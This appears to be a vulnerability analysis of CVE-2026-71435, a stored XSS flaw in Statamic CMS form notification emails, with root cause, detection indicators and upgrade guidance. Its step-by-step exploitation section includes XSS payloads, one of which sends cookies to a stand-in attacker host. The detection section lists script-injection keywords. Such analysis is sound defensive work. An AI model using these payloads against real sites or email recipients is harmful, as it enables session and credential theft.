CVE-2026-71435: 
PHP vulnerability analysis and mitigation

CVE-2026-71435 is a stored Cross-Site Scripting (XSS) vulnerability in Statamic CMS affecting the default "automagic" form notification email template. The flaw allows unauthenticated attackers to inject arbitrary HTML into notification emails sent to configured recipients by submitting malicious values through public-facing forms. It affects Statamic CMS versions prior to 5.74.3 and versions 6.0.0 through 6.24.1. The vulnerability was published on August 6, 2026, with patches released on July 8–9, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

The root cause is improper output encoding (CWE-79) in the automagic-email.antlers.html template, which rendered user-submitted form field values — including text, textarea, select, radio, checkboxes, and dictionary fields — directly into HTML email bodies without sanitization. An unauthenticated attacker can submit a Statamic form with payloads such as <img src=x onerror=alert(1)> or <script>alert(1)</script> in any field; these values are then embedded verbatim into the notification email delivered to site administrators or other configured recipients. The fix applied the | sanitize Antlers filter to all affected output paths in the template, as seen in commit 4ad1335 (GitHub PR #14959, GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to inject arbitrary HTML — including JavaScript payloads — into notification emails received by site administrators or other configured recipients. If the recipient's email client renders HTML and executes inline scripts, this could lead to credential theft, phishing, or session hijacking against the email recipient. Confidentiality and integrity are both partially impacted; availability is not affected (GitHub Advisory).

No public exploit code or in-the-wild exploitation has been reported as of the advisory date. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog, and the EPSS score is approximately 0.19%, indicating low near-term exploitation probability. Exploitation requires user interaction (a recipient opening and rendering the malicious email), and no threat actor attribution has been identified (GitHub Advisory, Feedly).

1. Reconnaissance: Identify a publicly accessible Statamic CMS site running a version prior to 5.74.3 or between 6.0.0 and 6.24.1 that has a contact or other form with email notifications enabled using the default "automagic" template.
2. Craft malicious payload: Prepare an HTML injection payload for a form field, such as <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script>.
3. Submit the form: Submit the public-facing Statamic form with the malicious payload in one or more text, textarea, select, radio, or checkbox fields.
4. Payload delivery: Statamic generates the automagic notification email and embeds the unescaped payload directly into the HTML email body, which is then sent to the configured recipient(s).
5. Trigger execution: When the recipient opens the notification email in an HTML-rendering email client that executes inline scripts, the injected payload runs in the context of the recipient's browser/email client, potentially exfiltrating session tokens or credentials (GitHub Advisory, GitHub PR #14959).

• Network: Outbound connections from email recipients' browsers to unexpected external domains shortly after opening a Statamic form notification email.
• Logs: Statamic form submission logs containing HTML tags or JavaScript keywords (e.g., <script>, <img, onerror=, onload=) in field values.
• Email: Notification emails with raw HTML tags visible in the body or source, particularly in form field value sections of the automagic email template.

Upgrade Statamic CMS to version 5.74.3 (for the 5.x branch) or 6.24.2 (for the 6.x branch), which apply the | sanitize filter to all user-submitted values rendered in the automagic email template (v5.74.3 Release, v6.24.2 Release). As a workaround prior to patching, administrators can configure a custom form notification email template that explicitly escapes all user-submitted values, replacing the default automagic template. Restricting form access to authenticated users only would also eliminate the unauthenticated attack surface.

The vulnerability was reported by security researcher ya3raj and patched by Statamic maintainer jasonvarga on July 8, 2026, with the advisory published on August 6, 2026 (GitHub Advisory). No significant broader media coverage or notable community commentary beyond the GitHub advisory and standard vulnerability aggregator listings has been identified.